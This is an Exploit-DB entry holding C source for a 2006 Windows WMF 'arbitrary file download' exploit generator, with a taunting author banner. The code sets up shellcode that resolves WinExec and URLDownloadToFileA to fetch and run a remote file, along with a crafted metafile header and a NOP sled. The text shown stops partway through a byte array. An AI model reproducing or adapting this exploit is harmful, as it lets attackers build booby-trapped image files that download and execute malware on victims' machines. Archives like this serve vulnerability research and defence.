Exploit-DB #1420
Description: Microsoft Windows - Metafile '.WMF' Arbitrary File Download (Generator)
Type: remote
Platform: windows
Date: 2006-01-15
Author: darkeagle

Exploit:
/*
\
/		WMF nDay download() Exploit Generator
\		       by Unl0ck Research Team
/
\
/     greetz: 
			rst/ghc { ed, uf0, fost },
			uKt { choix, nekd0, payhash, antq }, 
			blacksecurity { #black } , 
			0x557 { kaka, swan, sam, nolife }, 
			sowhat, tty64 { izik };

	This sploit is now full shit, so... 
	kiddies party has been started!!!

urs, 
darkeagle
\
/
*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN                    __asm _emit 0x90 __asm  _emit 0x90\
                                      __asm _emit 0x90 __asm  _emit 0x90\
                                      __asm _emit 0x90 __asm  _emit 0x90\
                                      __asm _emit 0x90 __asm  _emit 0x90
#define PROC_END                       PROC_BEGIN
#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN                     8
#define MAX_SC_LEN                     2048
#define HASH_KEY                       13

// Define Decode Parameter
#define DECODE_LEN                     21
#define SC_LEN_OFFSET                  7
#define ENC_KEY_OFFSET                 11
#define ENC_KEY                        0xff


// Define Function Addr
#define ADDR_LoadLibraryA              [esi]
#define ADDR_GetSystemDirectoryA       [esi+4]
#define ADDR_WinExec                   [esi+8]
#define ADDR_ExitProcess               [esi+12]
#define ADDR_URLDownloadToFileA        [esi+16]

// Need functions
unsigned char functions[100][128] =
{                                           // [esi] stack layout
   // kernel32 4                           // 00 kernel32.dll
   {"LoadLibraryA"},                       //    [esi]
   {"GetSystemDirectoryA"},                //    [esi+4]
   {"WinExec"},                            //    [esi+8]
   {"ExitProcess"},                        //    [esi+12]
   // urlmon  1                            // 01 urlmon.dll
   {"URLDownloadToFileA"},                 //    [esi+16]
   {""},
};



unsigned char head1[512] = {
	0x01, 0x00, 0x09, 0x00, 0x00, 0x03, 0x52, 0x1F, 0x00, 0x00, 0x06, 0x00, 0x3D, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x18, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
	0xFF, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x03, 0x85, 0x00,
	0xD0, 0x02, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x08, 0x00, 0xFF, 0xFF,
	0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x23, 0x00,
	0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x00, 0x1B, 0x00, 0x54, 0x4E, 0x50, 0x50, 0x14, 0x00, 0x20, 0x00,
	0xB8, 0x00, 0x32, 0x06, 0x00, 0x00, 0xFF, 0xFF, 0x4F, 0x00, 0x14, 0x00, 0x00, 0x00, 0x4D, 0x00,
	0x69, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x0A, 0x00, 0x54, 0x4E,
	0x50, 0x50, 0x00, 0x00, 0x02, 0x00, 0xF4, 0x03, 0x09, 0x00, 0x00, 0x00, 0x26, 0x06, 0x0F, 0x00,
	0x08, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x26, 0x06,
	0x0F, 0x00, 0x14, 0x00, 0x54, 0x4E, 0x50, 0x50, 0x04, 0x00, 0x0C, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x0B, 0x02, 0x00, 0x00,
	0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x0C, 0x02, 0xD0, 0x02, 0xC0, 0x03, 0x04, 0x00, 0x00, 0x00,
	0x04, 0x01, 0x0D, 0x00, 0x07, 0x00, 0x00, 0x00, 0xFC, 0x02, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00,
	0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2D, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0xFA, 0x02,
	0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x22, 0x00, 0x04, 0x00, 0x00, 0x00,
	0x2D, 0x01, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2D, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
	0x1D, 0x06, 0x21, 0x00, 0xF0, 0x00, 0xD0, 0x02, 0xC0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
	0x00, 0x00, 0x2D, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xFC, 0x02, 0x00, 0x00, 0xFF, 0xFF,
	0xFF, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2D, 0x01, 0x02, 0x00, 0x04, 0x00, 0x00, 0x00,
	0xF0, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0xFA, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2D, 0x01, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x16, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x47, 0x00,
	0x00, 0x00, 0x8F, 0x02, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0xC1, 0x02, 0x00, 0x00, 0x08, 0x00,
	0x00, 0x00, 0x26, 0x06, 0x0F, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x0D, 0x00,
	0x00, 0x00, 0xFB, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x01, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2D, 0x01, 0x03, 0x00,
	0x05, 0x00, 0x00, 0x00, 0x09, 0x02, 0x00, 0x00, 0x00, 0x02, 0x05, 0x00, 0x00, 0x00, 0x14, 0x02,
	0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x01, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00,
	0x26, 0x06, 0x09, 0x00, 0x16, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
};

unsigned char head2[15220] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90,